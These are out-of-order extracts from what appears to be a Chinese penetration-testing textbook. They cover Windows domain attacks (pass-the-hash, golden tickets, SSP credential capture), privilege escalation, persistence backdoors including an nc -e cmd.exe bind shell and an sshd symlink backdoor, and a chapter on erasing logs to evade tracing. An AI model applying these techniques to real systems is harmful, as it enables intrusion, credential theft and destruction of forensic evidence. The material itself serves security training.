    {"text": "通过搜索“cpassword”等关键字，发现group.xml文件存储 了“administrator”“cpassword”字段及被AES加密的密码信息，获得AES密 文之后就可以用破解脚本进行解密，加密的密码如图9-70所示。"},
    {"text": "本机Windows应用程序要求用户提供明文密码，然 后调用LsaLogonUser类的API，将该密码转换为一个或两个哈希值（LM 或NT哈希），然后在NTLM身份验证期间将其发送到远程服务器。"},
    {"text": "对这 种机制的分析表明，成功完成网络身份验证不需要明文密码，只需要哈 希值即可。 如果攻击者具有用户密码的哈希值，则无须强行使用明文密码； 他 们可以简单地使用已经收获的任意用户密码的哈希值来针对远程系统进 行身份验证并模拟该用户。"},
    {"text": "2）漏洞利用过程 开始介绍Pass the Hash攻击前先简单了解一下什么是NTLM Hash， 比如在远程3389端口登录系统的时候，向远程传递的就是密码的哈希 值。"},
    {"text": "想要获 取哈希值可用Mimikatz从SAM文件或域控的“NTDS.dit”文件中获得所有 用户的哈希值，通过获取的哈希值可以进行此种PTH 攻击（Pass the Hash简称）。"},
    {"text": "通常，PTH攻击步骤如下： 上文已简单描述了PTH攻击，下面介绍在域内获取域管理账号的哈 希值进行PTH攻击，然后通过“dir”列出域控机器的C盘并判断是否获取 了域控权限。"},
    {"text": "开始攻击之前使用本地账号“administrator”通过“dir”列出 域控机器的C盘显示登录失败：未知的用户名或错误密码，显示结果如 图9-72所示。"},
    {"text": "攻击目的是获取域控的权限，所以需要找到一个管理员的Hash，通 过前面的信息收集，得知“really”账号的权限为管理员权限，使用 Mimikatz工具进行Hash获取，命令如下： 得到了“really”账号的NTLM Hash，如图9-73所示。"},
    {"text": "获取到Hash后，使用Mimikatz工具进行PTH攻击即可，命令如下： 图9-73 获取NTLM “sekurlsa::pth”内的“pth”代表的就是Pass the Hash攻击。 “/user:”后的 用户代表上述提到的“really”管理员的权限账号，“/domain：”后的域代 表所在域的域名，“/ntlm：”后的“hash”代表着“really”账号的Hash，运行 完成后提示OK，说明攻击成功，PTH攻击如图9-74所示。 图9-74 PTH攻击 输入完上述的命令后会弹出一个CMD窗口，然后可以在弹出的窗 口内输入列出域控C盘的命令“dir \\\\test.test.com\\C$”，已经可以列出域控 的C盘，如图9-75所示，代表PTH攻击已经成功。 图9-75 列出域控的C盘 4 ． Pass the Key 攻击 “Pass the Key”的攻击方式其实和“Pass the Hash”的方式是相同的， 唯一的区别在于当目标安装了KB2871997补丁且禁用了NTLM的时候可 以使用此种攻击方式进行攻击，PTK（Pass the Key简称）就是获取用户 的AES Key，步骤和PTH攻击类似。 通常，PTK攻击步骤如下： 运行下述命令获取Keys： 获取AES Key如图9-76所示。 图9-76 获取AES Key 获取“really”用户权限的“aes256_hmac”后使用下列命令进行攻击， 注入命令和PTH攻击命令的区别就在于注入命令的最后为“/aes256”， PTH攻击命令的最后是“/ntml”。"},
    {"text": "图9-77 PTK攻击的结果 除去上文提到的PTH和PTK攻击外，还有“Pass the Ticket”票据传递 攻击，简称“PTT”，攻击方式和黄金票据的攻击方式比较相似，而且域 内的攻击方式可以说非常的多，读者了解了上述几个比较经典的攻击方 式后可自行探索更高深的攻击方式。"},
    {"text": "5 ． Ntml Hash 获取 其他用户的Ntml Hash不能被直接获取，但是可以通过Responder工 具进行拦截获取，在攻击机上运行Responder命令“python Responder.py -I eth0”（eth0为网卡，可根据机器所用网卡进行更改），拦截获取如图9-78所示。 图9-78 拦截获取 此时攻击机已经模拟为SMB服务，这样就可以让目标用户进行认证 登录当然也可以设置为SQL服务器、FTP、HTTP或者SMB服务器等， 获取哈希值如图9-79所示，当目标机器尝试登录攻击者机器，Responder 就获取了目标用户的Ntml Hash。"},
    {"text": "攻击者会在客户端发送票据给服务器去认证并在这个步骤中进 行攻击，通过伪造票据并向服务器授予伪造票据（TGT）的方式获得 DC的服务票据。"},
    {"text": "黄金票据漏洞会造成一个普通用户获取域管理员的权 限，当然，攻击者需要提前拥有普通域用户权限和krbtgt账号的Hash。 在真实的域渗透中通常会采用黄金票据攻击，一般要先要获取 krbtgt账号的Hash（Ntml和SID），在获取时一般用到的工具是 Mimikatz，下面用Mimikatz工具进行使用演示。 通常，黄金票据攻击步骤如下： 在Mimikatz内运行下述命令获取really.com域控krbtgt账号的Ntlm和 SID： 在Mimikatz内“lsadump::dcsync”的意思是向DC发起一个同步对象 （获取账户的密码数据）的质询，Ntml和SID如图9-80所示。 图9-80 Ntlm和SID 获取krbtgt账号的Ntlm和SID： 获取成功后可以创建域管理员的黄金票据，首先在Mimikatz内清空 缓存证书，然后在Mimikatz工具内执行下述命令，创建“really.com”域， 伪造“administrator”用户票据并生成一个命名为“reallys”的kiribi格式文 件： 创建票据如图9-81所示。"},
    {"text": "图9-81 创建票据 通过Mimikatz生成的“reallys.kiribi”伪造票据就在Mimikatz工具的文 件夹内。 开始使用票据，在Mimikatz内使用生成的票据即可成功，运行下述 命令导入票据： 使用票据如图9-82所示。"},
    {"text": "图9-82 使用票据 图9-83 列出DC的C盘 2 ． SSP 权限维持 学习完黄金票据的维权方式之后还可以进一步学习通过配合 Mimikatz工具添加SSP的方式进行维权，相对于黄金票据，此种方法要 更简单，但是也容易被管理员发现。"},
    {"text": "SSP的全称是Security Support Provider，又名Security Package，而 SSPI的全称是Security Support Provider Interface，它是Windows系统在执 行认证操作时所使用的API，用户可以通过自己开发或者添加SSP对系 统的身份验证和事件进行操作。"},
    {"text": "开始之前，要准备好Mimikatz工具，在下载的Mimikatz工具文件夹 内有3个文件，“mimidrv.sys”、“mimikatz.exe”和“mimilib.dll”，其 中“mimilib.dll”文件就是需要添加SSP的文件，Mimikatz工具文件夹如图 9-84所示。 图9-84 Mimikatz工具文件夹 开始进行测试，可以在域控上面把“mimilib.dll ” 文件复制到“ c:\\Windows\\System32”路径下，如图9-85所示。 图9-85 复制“mimilib.dll”文件 复制完成之后还需要在注册 表“HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\ Control\\Lsa\\Security Packages\\”的“Security Packages”数值内添加 上“mimilib.dll”数值数据，修改注册表如图9-86所示。 图9-86 修改注册表 添加完毕后，单击确定，然后重启系统，模拟管理员登录就可以 在“C:\\Windows\\ System32”目录下看到生成包含账号密码的文 件“kiwissp.log”，打开“kiwissp.log”文件可以看到管理员输入的密码，获 取账号密码如图9-87所示。 图9-87 获取账号密码 此时就可以通过添加SSP得知登录账号为“Administrator”，密码 为“123456abc.”。"},
    {"text": "3 ． Memory Updateing of SSPs 权限维持 Mimikatz工具还有另一种方式“Memory Updateing of SSPs”，通过内 存更新的方式进行账号密码获取，通过内存更新的方式可以不需要重启 系统获取账号密码，相对于添加SSP方式，此方式可以直接在Mimikatz 工具内执行命令而不需要复制“mimilib.dll”文件。 使用Mimikatz的“Memory Updateing of SSPs”方式获取账号密码的过 程如下： （1）复制“mimilib.dll”文件。"},
    {"text": "图9-88 提取凭据 执行完命令后，管理员注销并重新输入用户名密码进行登录，将会 在“C:\\windows\\ system32”目录下生成“mimilsa.log”文件，获取账号密码 如图9-89所示，账号为“Administrator”，密码为“123456abc.”。 图9-89 获取账号密码 4 ． GPO 组策略权限维持 除了上述的利用Mimikatz工具进行权限维持，还可以通过微软自带 的功能GPO组策略进行权限维持。"},
    {"text": "第一步：打开组策略管理，如图9-90所示。 单击“开始”按钮打开“开 始”菜单，单击其中的“管理工具”选项，再单击其中的“组策略管理”选 项。 图9-90 组策略管理 第二步：在组策略管理的左侧可以看到目前所在的域，右键选 择“在这个域中创建GOP并在此处链接”，自定义创建的GPO名称即可， 创建GPD如图9-91所示。 第三步：选择创建的GPO，然后进行设置，右键选择“编辑”，如图 9-92所示。 图9-91 创建GPO 图9-92 选择“编辑” 编辑GPO，如图9-93所示。"},
    {"text": "打开“用户配置”选项，在展开的子树中 单击“首选项”，再单击其中的“控制面板设置”，打开“本地用户和组”。 第四步：在“本地用户和组”选项内右键新建“本地用户”，如图9-94 所示。"},
    {"text": "第五步：返回到第二步的位置，在“作用域”的“安全筛选”内选择主 机即可，“安全筛选”如图9-96所示，我们设置的密码修改将要对选中的 主机进行修改。"},
    {"text": "图9-93 编辑GPO 图9-94 新建“本地用户” 图9-95 批量更新 图9-96 “安全筛选” 完成上面的操作后可以进行委派，在详细信息的栏目内可以看到此 策略的唯一ID，如图9-97所示。"},
    {"text": "如果直接使用修改过的账户去登陆机器的话结果肯定是失败的，因为配 置新的安全策略后，工作站或服务器每90分钟更新一次安全性设置，而 域控制器则每5分钟更新一次；"},
    {"text": "图9-98 手动更新 手动更新须在主机上进行，账号没有限制，可使用域账号，更新策 略之后我们就可以用刚刚设置的密码进行远程登录，如图9-99所示。"},
    {"text": "除了上述的方法，还可以通过Group Policy Management Console (GPMC) 实现计划任务的远程执行，和上述方法一样需创建一个GPO， 然后让它在计划任务中被添加，新建计划任务如图9-101所示。"},
    {"text": "图9-99 远程登录 图9-100 “MS14-025”自动解密GPP 图9-101 新建计划任务 由于是测试演示，任意选择一个exe文件，添加启动程序如图9-102 所示。"},
    {"text": "第 10 章 痕迹清除 通常攻防渗透的最后阶段是痕迹清除，它是为了躲避反追踪和隐藏 攻击的一种方式，相关技术内容涉及系统、网络、应用日志的删除、混 淆和修改，数据恢复技术对抗，系统还原机制利用，安全审计设备的干 扰和停用等，本章将介绍常见的痕迹清除方法。"},
    {"text": "10.1 Windows 日志痕迹清除 Windows的日志文件主要有三类，分别是系统日志（SysEvent）、 应用程序日志（AppEvent）和安全日志（SecEvent），可以通过单 击“开始”按钮打开“开始”菜单，单击“程序”选项中的“管理工具”选项， 打开“计算机管理”，单击“系统工具”选项中的“事件查看器”查看并清 除，在注册表上的位置为“HKEY_LOCAL_MACHINE\\ system\\CurrentControlSet\\Services\\Eventlog”。"},
    {"text": "痕迹清除最简单的方式也就是直接将日志文件删除，Windows常见 的痕迹清除的位置如下： 10.1.1 Metasploit 清除 Windows 日志 手工清除Windows的日志比较困难，一般可以借助clearlog和elsave 等工具清除，这里以Metasploit为例演示如何清除Windows日志。 完成渗透后可通过Metasploit的事件管理器模块清除事件日志，运 行命令“run event_manager -i”显示有关系统的事件日志及其配置的信 息，显示事件信息如图10-1所示。 图10-1 显示事件信息 然后运行命令“run event_manager -c System”清除指定日志，如图 10-2所示，这里直接清除所有日志，运行命令“run event_manager -c”， 不指定清除日志的名称时会清除所有。 图10-2 清除指定日志 10.1.2 Cobalt Strike 插件清除 Windows 日志 下载Cobalt Strike痕迹清理插件EventLogMaster，下载后导入插件。"},
    {"text": "以清除 日志为例，选择“Clearn”清除日志，然后可以根据事件ID和IP等清除日 志，也可以选择“ClearnAll”清除所有，清除日志如图10-3所示。 图10-3 清除日志 下面介绍使用EventLogMaster清除日志的实例，首先在攻击机远程 登录目标机，如图10-4所示。 图10-4 远程登录目标机 这时登录日志会被记录，到目标机查看安全日志，如图10-5所示， 发现存在攻击机登录成功的日志，登录成功的事件ID为4624，登录类型 10为远程交互。 下面使用EventLogMaster清除安全日志里事件ID为4624、类型为10 的日志，首先搜索远程登录日志，如图10-6所示。 搜索成功后会将所有的远程登录日志搜索出来，这里只关注攻击机 的登录日志，EventRecordID为3842，搜索结果如图10-7所示。 图10-5 查看登录日志 图10-6 搜索远程登录日志 图10-7 搜索结果 然后使用EventRecordID清除远程登录日志，如图10-8所示。 图10-8 清除远程登录日志 清除成功后再到目标机查看时间为“2020/4/27 13:52:17”的日志，发 现记录已被清除，查看清除结果如图10-9所示。"},
    {"text": "图10-9 查看清除结果 10.2 Linux 日志痕迹清除 Linux的大多数日志文件是文本，因此修改日志相对于Windows来 说会更容易，Linux常见的痕迹清除的位置如下： 下面详细介绍Linux日志痕迹删除与修改的方法。"},
    {"text": "10.2.1 历史记录清除 使用Bash这个Shell来运行命令时会将命令保存到“.bash_history”文 件，通过运行命令“history -c”可以清除当前Shell的历史记录，若想清除 所有历史记录则可以直接删除此文件，或是运行命 令“echo>/root/.bash_history”清空该文件。 若想以目标为跳板，那么操作 的命令都会被记录，可以通过运行下述命令设置不记录历史命令。"},
    {"text": "10.2.2 日志清除 logtamper可以清除针对utmp、wtmp、lastlog的日志，工具下载地址 为“https://github.com/re4lity/logtamper”，常见用法如下： 1）清除utmp日志 “w”命令可以用于查看utmp日志。 上传脚本，运行命令“python logtamper.py -m 1 -u root -i 10.211.55.2”清除登入系统的用户信息，运 行“w”命令发现来自10.211.55.2的登录信息被清除了，清除utmp日志如 图10-10所示。 图10-10 清除utmp日志 2）清除wtmp日志 “last”命令可以用于查看wtmp日志，如图10-11所示，运行“last”命令 查看登录信息。 图10-11 查看wtmp日志 运行命令“python logtamper.py -m 2 -u root -i 10.211.55.2”清除 10.211.55.2的登录日志，运行“last”命令发现来自10.211.55.2的登录信息 被清除了，清除wtmp日志如图10-12所示。 图10-12 清除wtmp日志 3）清除lastlog日志 “lastlog”命令可以用于查看lastlog日志，运行命令“python logtamper.py -m 3 -u root -i 1.1.1.1 -t tty1 -d 2014:05:28:10:11:12”可以修改 上次登录的时间和地点，退出Shell并再次登录，发现修改成功，清除 lastlog日志如图10-13所示。 图10-13 清除lastlog日志 10.3 Web 日志痕迹清除 Web日志会记录用户对Web页面的访问操作行为，每天都会产生大 量的日志，Web日志会记录在什么时间、有哪些IP地址访问了网站中的 什么资源，以及访问是否成功等信息。 10.3.1 Apache 日志痕迹清除 大多数Web日志与Linux日志类似，文件是文本，通常访问日志文 件都会包含“access”这个单词，直接通过命令搜索，然后删除或者修改 即可。"},
    {"text": "运行命令“find/-name *access*. log”搜索访问日志，如图10-14所示。 图10-14 搜索访问日志 找到访问日志后若想清除痕迹，简单粗暴的方法就是直接删除，也 可以通过修改日志文件达到隐藏的目的。"},
    {"text": "运行命令“sed -i '/10.211.55.2/'d /var/log/apache2/access.log”，删除访 问IP为10.211.55.2的记录，删除日志如图10-15所示。 也可以运行命令“sed -i 's/192.168.123.1/127.0.0.1/' /var/log/apache2/access.log”将访问IP地址192.168.123.1替换为127.0.0.1， 修改日志如图10-16所示。"},
    {"text": "图10-15 删除日志 图10-16 修改日志 10.3.2 IIS 日志痕迹清除 不同IIS日志的默认位置不同，可自由设置，目前常见的IIS版本包 括6.0、7.0、7.5、8.0和8.5，IIS6.0日志的存放位置如图10-17所示。 图10-17 IIS6.0日志的存放位置 默认日志命名方式为：“ex+年份的末两位数字+月份+日期+.log”， IIS每条日志的格式由data、time、c-ip、cs-method、cs-uri-stem、s-port、s-ip、cs(User-Agent)、sc-status、sc-bytes、cs-bytes和time-taken组 成，详细介绍如下： 下面是IIS访问日志中的一个标准记录，表示在2020年2月4日8点7 分55秒，由IP为192.168.1.103的客户端使用POST请求，请求网站 的“shell.asp”这个页面，请求的端口号是80，服务器的IP地址为 192.168.1.102，“Mozilla/4.0+(compatible;+MSIE+7.0; +Windows+NT+5.1)”为用户代理、客户端浏览器、操作系统等情况， HTTP状态代码为200，响应正常，服务器发送了0字节，接收了0字节， 网站页面运行时间为93ms。 下面介绍IIS日志清除的实例，在目标机打 开“C:\\inetpub\\logs\\LogFiles\\W3SVC1\\ u_ex200211.log”日志文件，发现记 录了大量的攻击记录，日志文件如图10-18所示。 图10-18 日志文件 由于IIS服务和日志服务处于运行状态，所以无法直接删除IIS日 志，这里借助IIS日志清除工具CleanIISLog来清除访问IP为192.168.1.105 的日志。 运行命令“CleanIISLog.exe C:\\inetpub\\logs\\LogFiles\\W3SVC1\\u_ex200211.log 192.168.1.105”清除日 志。"},
    {"text": "图5-65 用“ctfs”用户登录 5.5 第三方软件提权 很多时候可能系统本身很安全，但是往往会忽略一些应用程序存在 的漏洞，当然对于应用程序来说，可能本身设计得很安全，但是由于用 了其他有漏洞的第三方组件而导致自身出现了很严重的漏洞。 当收集信 息时发现安装了某些第三方软件时，可通过定位其版本去寻找相关漏洞 提权，下面将介绍几种比较经典的第三方软件提权。 5.5.1 FTP 软件提权 1 ． Serv-U 提权 Serv-U是一款FTP服务器软件，可用于服务器文件管理，在一些低 版本的Serv-U中存在提权的风险，下面以Serv-U 6.4.0.4为例，它的密码 文件是“ServUDaemon.ini”，黑客拿到Shell后可以对该文件进行操作，并 可以通过直接添加管理用户或者破解管理用户密码的方式进行提权。 拿到一个低权限Shell后查看启动的服务，由于系统本身启动了很多 服务，截图展示不方便，这里直接运行命令“net start | findstr Serv-U”查 看目标系统是否安装了Serv-U，发现启动了Serv-U FTP服务，于是尝试 Serv-U提权，查看服务如图5-66所示。 图5-66 查看服务 定位到服务后先收集此服务的信息为后续操作做准备，上 传“accesschk.exe”，运行命令“accesschk.exe -ucqv Serv-U /accepteula”查 看系统服务权限，发现users组用户配置 了“SERVICE_START”和“SERVICE_STOP”，也就是可以启动和关闭该 服务，如图5-67所示。 图5-67 查看系统服务权限 然后运行“icacls \"C:/Program Files (x86)/RhinoSoft.com/Serv- U/ServUDaemon.ini\"”命令查看密码文件的权限，如图5-68所示，发现 users组配置了“F”，也就是所有权限，可对其进行编辑。 图5-68 查看密码文件的权限 编辑Serv-U的密码文件，新增如下配置来添加具有执行权限的系统 用户hack，密码为123456： 编辑密码文件如图5-69所示。 图5-69 编辑密码文件 然后运行命令“sc stop Serv-U”关闭Serv-U服务，再运行命令“sc start Serv-U”启动Serv-U服务，通过这种方式重启Serv-U并使上述配置生效， 重启服务如图5-70所示。 图5-70 重启服务 服务重启后，运行命令“ftp 192.168.0.123”以配置文件添加的hack用 户，连接目标FTP，连接成功后使用“quote site exec”运行如下命令添加 系统管理用户： 添加管理员如图5-71所示。 图5-71 添加管理员 若是对密码文件无修改权限有两种方法解决，一种是通过Md5解密 具有执行权限的系统用户提权，另一种是对Serv-U Daemon进行攻击提 权，它的默认端口是“43958”，默认用户是“LocalAdministrator”，默认密 码是“#l@$ak#.lk;0@P”，这里不再过多介绍。 2 ． FileZilla 提权 FileZilla是一款开源的FTP服务器，后台默认监听14147端口，若配 置不当，会造成低权限用户从FileZilla安装目录到配置文件中读取信 息，非法连接后台，进而进行提权。 运行命令“net start | findstr FileZilla”查看服务发现安装了FileZilla， 运行命令“netstat-ano | findstr 14147”查看14147端口，如图5-72所示，发 现端口14147处于监听状态。 图5-72 查看14147端口 使用Webshell管理工具，从FileZilla安装目录的“FileZilla Server.xml”文件中找到后台配置信息，如图5-73所示，发现未配置后台 连接密码。"},
    {"text": "首先在攻击机运行命令“lcx -listen 1111 2222”监听1111端口并转发 到2222端口使用，再使用Webshell管理工具上传“lcx”，在靶机运行“lcx - slave 127.0.0.1 14147 192.168.0.123 1111”命令，将FileZilla的14147端口 转发到攻击机的1111端口，端口转发如图5-74所示。 图5-74 端口转发 然后用攻击机连接本地的2222端口便可以连接FileZilla，通过图形 化界面便可以添加用户和添加分享目录C盘，并授予所有的权限，连接 FileZilla并配置如图5-75所示。"},
    {"text": "由于给C盘授予了所有权限，所 以可以通过使用“cmd.exe”替换“sethc.exe”，替换成功后远程连接目标系 统，不需要登录系统，直接按5次Shift键弹出cmd窗口，可直接以System 权限执行系统命令，Shift后门提权如图5-76所示。"},
    {"text": "图5-76 Shift后门提权 5.5.2 远程管理软件提权 我们主要介绍远程管理软件PcAnywhere提权。 PcAnywhere提权与 FileZilla提权类似，也是从配置文件中获取用户密码，它的配置文件后 缀为“CIF”，只不过PcAnywhere的用户密码不能直接从配置文件中读 取，需要使用破解软件读取其用户名和密码，但是在高版本的 PcAnywhere中破解会出现问题，可以在攻击机上生成配置文件，然后上 传，之后使用攻击机配置的密码即可远程连接。 这里不再重复之前分析服务的步骤，拿到Shell后直接寻找“CIF”后 缀的配置文件，这里找到PcAnywhere存放用户名密码的配置文件 为“PCA.admin.CIF”，查看配置文件如图5-77所示。 图5-77 查看配置文件 下载后使用破解工具对“PCA.admin.CIF”文件进行解密，得到 PcAnywhere连接的用户名为“admin”，密码为“123456Pp.”，解密配置文 件如图5-78所示。"},
    {"text": "图5-79 远程连接 第 6 章 权限维持 攻击者拿到系统权限后为了防止漏洞修补后失去控制权，或者想扩 大战果，例如，进行内网渗透，这就需要长时间对目标系统进行控制， 攻击者通常会利用后门技术来进行权限维持。 权限维持的方法有很多，对于Windows可以通过隐藏系统用户、修 改注册表、利用辅助功能（例如替换沾滞键）、WMI后门、远程控制、 Rookit、进程注入、创建服务、计划任务和启动项等方式进行权限维 持。 对于Linux系统可以通过预加载型动态链接库后门、SSH后门、VIM 后门、协议后门、PAM后门、服务后门、远程控制、进程注入、Rookit 等方式进行权限维持。 这么多种方法，要想一步步操作进行权限维持显 然会很费时间，像进程注入这种甚至还需要上传工具，不仅增加了很多 繁杂的步骤，还增加了被目标发现的风险，所以大多时候会通过一些渗 透框架进行权限维持，这样更加方便快捷，目前用得比较多有 Metasploit、Empire、Cobalt Strike。 下面会详细介绍Windows和Linux下比较经典的权限维持的方法、 远控和Rookit的使用，以及通过渗透框架如何快速地进行权限维持。 6.1 Windows 权限维持 当通过漏洞获取目标权限后，可能会因为被系统管理员发现或是漏 洞被修复而失去控制权，所以为了避免被管理员发现需要想办法隐藏后 门用户、后门程序、建立的连接和创建的服务等，同时为了避免无法再 次连接目标，还需要想办法上传木马程序让其自动连接远控主机，下面 主要介绍Windows权限维持的几种常见方法，实例主要在渗透框架部分 进行介绍。"},
    {"text": "1 ．使用 net 命令创建 使用下述命令创建管理用户时，在用户名后添加“$”，可以创建隐 藏账户，这时使用“net user”无法发现隐藏用户，但是可以从控制面板查 看。"},
    {"text": "图6-1 创建隐藏用户 2 ．通过注册表克隆用户 由于通过命令创建的隐藏用户通过控制面板可以看到，这时可通过 注册表克隆用户，那么使用命令和控制面板查看都无法发现此类用户。 在已经通过命令创建了“hack$”隐藏用户的基础上，先从注册 表“HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names\\”中找到隐藏用 户“hack$”，然后选择导出注册表文件，如图6-2所示。 图6-2 选择导出注册表文件 “hack$”用户的类型是“0x3f3”，从注册表“HKLM \\SAM\\SAM\\Domains\\Account\\ Users\\”中找到“hack$”对应的键 值“000003F3”，其中选项“F”里面有“hack$”用户的权限信 息，“Administrator”对应的键值是“000001F4”， 用“Administrator”的“F”选项中的权限信息替换掉“hack$”的权限信息， 然后将“000003F3”导出，如图6-3所示。 图6-3 将“000003F3”导出 使用“net”命令删除“hack$”用户，然后双击导出的两个注册表并创 建用户，通过这种方式创建的用户通过“net user”和控制面板都无法被发 现，但是从注册表可以看到。"},
    {"text": "6.1.2 Shift 后门 利用Shift后门进行权限维持是一种比较经典的权限维持方法，可以 使用“cmd.exe”将C盘Windows目录下面的“system32”文件里面 的“sethc.exe”替换掉，之后无须登录系统，直接按5次Shift键便可以弹出 cmd窗口，可直接以System权限执行系统命令、创建管理员用户、登录 服务器等。 6.1.3 启动项 Windows下有很多自动启动程序的方法，可以利用这些方法来进行 权限维持，例如可以运行“gpedit.msc”进入本地组策略，通过Windows设 置的脚本（启动/关机/登录/注销）来设置权限维持脚本启动，也可以通 过修改注册表自启动键值添加维权脚本路径，从而实现自启动，或是直 接将权限维持脚本放入开机启动文件夹来实现自启动。"},
    {"text": "6.1.4 计划任务 在Windows中通常用“at”和“schtasks”命令添加计划任务，计划任务 可以使系统管理员在特定的日期和时间执行程序或脚本，因此可以通过 计划任务来运行权限维持脚本，例如运行“at 22:00 /every:M,T,W,Th,F,S,Su C:\\exp.exe”命令每天自动执行“exp.exe”。 “schtasks”在权限维持中用得比较多，“schtasks”的常用参数如下： 假如计划任务以System权限每10分钟运行一次，命令为： 6.1.5 隐藏文件 上传的木马后门为了避免被发现，可以使用“attrib”命令将文件隐 藏，“+s”用于设置系统属性，“+h”用于设置隐藏属性。 6.1.6 创建服务 通过“sc”命令创建新的服务来进行权限维持也是一种比较经典的方 式，结合powershell还可以实现无文件后门，在渗透框架部分会有实例 介绍，常见用法如下： 运行命令“sc create test binpath= \"cmd.exe /k C:\\exp.exe\" start= \"auto\" obj= \"LocalSystem\"”，通过创建服务进行权限维持，待服务启动后，则 会以System权限运行“exp.exe”，创建计划任务如图6-4所示。 图6-4 创建计划任务 6.2 Linux 权限维持 Linux权限维持与Windows一样，同样是为了躲避管理员的检测， 可以通过建立隐藏后门配置程序自启来进行权限维持。 6.2.1 sshd 软连接 sshd软连接是Linux下很经典的一种权限维持方法，其中涉及的一个 比较重要的模块是“pam_rootok.so”模块，“pam_rootok.so”模块的功能是 若用户UID是0，则返回成功，当“/etc/pam.d/ssh”文件配置了“auth sufficient pam_rootok.so”时可以不需要密码登录。 当在被控制端执行命 令“ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234”建立sshd的软连接后 门，PAM认证时会根据软连接的名字到“/etc/pam.d”目录寻找对应到 PAM认证文件，由于软连接的文件名为“su”，所以SSH的认证文件就被 替换成了“/etc/pam.d/ su”，而“su”中默认配置了“auth sufficient pam_rootok.so”，从而导致SSH可以不需要密码登录。"},
    {"text": "通常SSH服务默认使用PAM进行身份验证，运行命令“cat /etc/ssh/sshd_config | grep UsePAM”查看“/etc/ssh/sshd_config”是否开启 PAM认证，如图6-5所示，发现是开启的。"},
    {"text": "然后运行命令“ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234”建立 sshd的软连接后门，如图6-6所示，运行成功后便可以用root用户使用任 意密码登录。 图6-5 查看“/etc/ssh/sshd_config”是否开启PAM认证 图6-6 建立sshd的软连接后门 使用任意密码登录系统，这里可能会失败，原因主要有两个，一是 root用户禁止远程登录，再者就是系统防火墙策略阻挡。 运行命令“ssh root:1111@192.168.0.106 1234”发现成功登录到了目标系统，连接目标 如图6-7所示。"},
    {"text": "（1）通过修改“/etc/rc.local”来添加启动命令。 （2）将需要开机执行的脚本放置在“/etc/profile.d/”下，可实现开机 启动。 （3）将启动脚本链接到“/etc/rc.d/rc[0~6].d/”这几个目录下，0～6代 表启动级别，0代表停止，1代表单用户模式，2～5代表多用户模式，6 代表重启。"},
    {"text": "（4）修改“/etc/crontab”文件添加定时执行的程序或脚本。 （5）将启动脚本放置 到“/etc/cron.hourly”、“/etc/cron.daily”、“/etc/cron.weekly”或“/etc/cron.monthly”等 周期性执行脚本的目录会定时启动。"},
    {"text": "Metasploit包括Metasploit商业版和Metasploit开源框架，商业版是以 开源框架为基础构建的，可从官网“https://www.metasploit.com/”下载， 通常使用Kali下内置的Metasploit。"},
    {"text": "与Metasploit大部分的交互可以通过模块完成，例如，通 过“auxiliary”模块可以进行信息收集，使用“exploit”模块可以利用漏洞， 利用“payload”模块可以连接到Shell。"},
    {"text": "1 ． Msfvenom Msfvenom是MSF中生成木马的模块，它的常用参数如下： 常见木马生成方法如下： 2 ．进程注入 在Windows提权部分介绍过使用“pinjector.exe”工具通过进程注入提 权，它不会创建新的进程，隐蔽性比较高，很难被发现，所以也可以使 用进程注入来进行权限维持，下面通过介绍一个进程注入权限维持的实 例来讲解如何利用MSF快速进行进程注入。 这里使用的靶机是64位的Windows系统，所以使 用“windows/x64/meterpreter/ reverse_tcp”生成exe类型的木马程序，运行 下述命令生成木马程序，如图6-8所示，上传到目标靶机： 图6-8 生成木马程序 运行下述命令在攻击机配置使用MSF监听： 在靶机运行木马程序，在攻击机上获取靶机的Shell，如图6-9所 示。 图6-9 获取靶机的Shell 可以先查找进程然后再进行注入，这里使用更简单的方法，直接使 用“post/windows/ manage/migrate”模块注入，它会自动寻找合适的进程 注入，运行命令“run post/windows/ manage/migrate”自动迁移进程，如图 6-10所示。"},
    {"text": "图6-10 自动迁移进程 3 ． Persistence 通过Metasploit自带的Persistence模块可以设置启动项启动来进行权 限维持，它的常用参数如下： 下面介绍一个使用Persistence进行权限维持的实例。"},
    {"text": "拿到Meterpreter Shell后，运行下述命令设置启动项启动： 配置开机自启，如图6-11所示，并且每次尝试连接的时间间隔为5 秒。 图6-11 配置开机自启 效果演示如图6-12所示，先运行“exit”命令退出Shell，然后重新开 启监听，监听端口需要运行命令“set lport 12345”更改成上面配置的监听 端口12345，开启监听后发现不需要重新上传木马即可获取Shell。"},
    {"text": "图6-12 效果演示 4 ． Metsvc 通过Metasploit自带的Metsvc模块可以在已经获得Shell的目标主机 上，开启一个服务来提供后门的功能，常用命令如下： 下面介绍一个使用Metsvc维权的实例。 运行“run metsvc -A”命令自动安装后门，如图6-13所示，通过执行 过程可以发现它会创建一个端口为31337的服务，并且传入了三个文 件。 图6-13 自动安装后门 再到靶机查看服务，如图6-14所示，发现新增了一个名为 Meterpreter的服务，启动类型为自动启动，下面可以通过运行下述命令 配置MSF进行后门连接： 图6-14 查看服务 5 ． ScheduleMe ScheduleMe可以通过“schtasks”来创建计划任务，需要System权限， ScheduleMe常见参数如下： 下面介绍一个使用ScheduleMe进行权限维持的实例。 由于使用ScheduleMe创建计划任务需要System权限，拿到 Meterpreter Shell后运行“getuid”获取当前权限，发现是Administrator权 限，运行“getsystem”命令将权限提升为System权限，如图6-15所示。 图6-15 将权限提升为System权限 这里借助nc配合ScheduleMe来进行权限维持，运行下述命令上传nc 并创建计划任务，每分钟执行一次“nc -Ldp 4444 -e cmd.exe”： 创建计划任务如图6-16所示。 图6-16 创建计划任务 之后需要连接Shell时直接运行命令“nc -v 192.168.0.108 4444”，使 用nc连接即可，连接Shell如图6-17所示。 图6-17 连接Shell 6 ． AutoRunScript 使用AutoRunScript可以配置在获取Shell的时候自动迁移进程进行权 限维持，还可以配置在获取Shell的时候自动创建服务或自动创建计划任 务等操作进行权限维持，常见用法如下： 下面以AutoRunScript配置自动迁移进程为例，运行下述命令配置监 听模块： 发现拿到Meterpreter Shell后自动将进程迁移到了PID为1680的进 程，配置自动迁移进程如图6-18所示。"},
    {"text": "图6-18 配置自动迁移进程 6.3.2 使用 Empire 维持权限 Empire是一款基于PowerShell的渗透测试框架，实现了无 须“powershell.exe”即可运行PowerShell代理的功能，可 从“https://github.com/EmpireProject/Empire”下载。"},
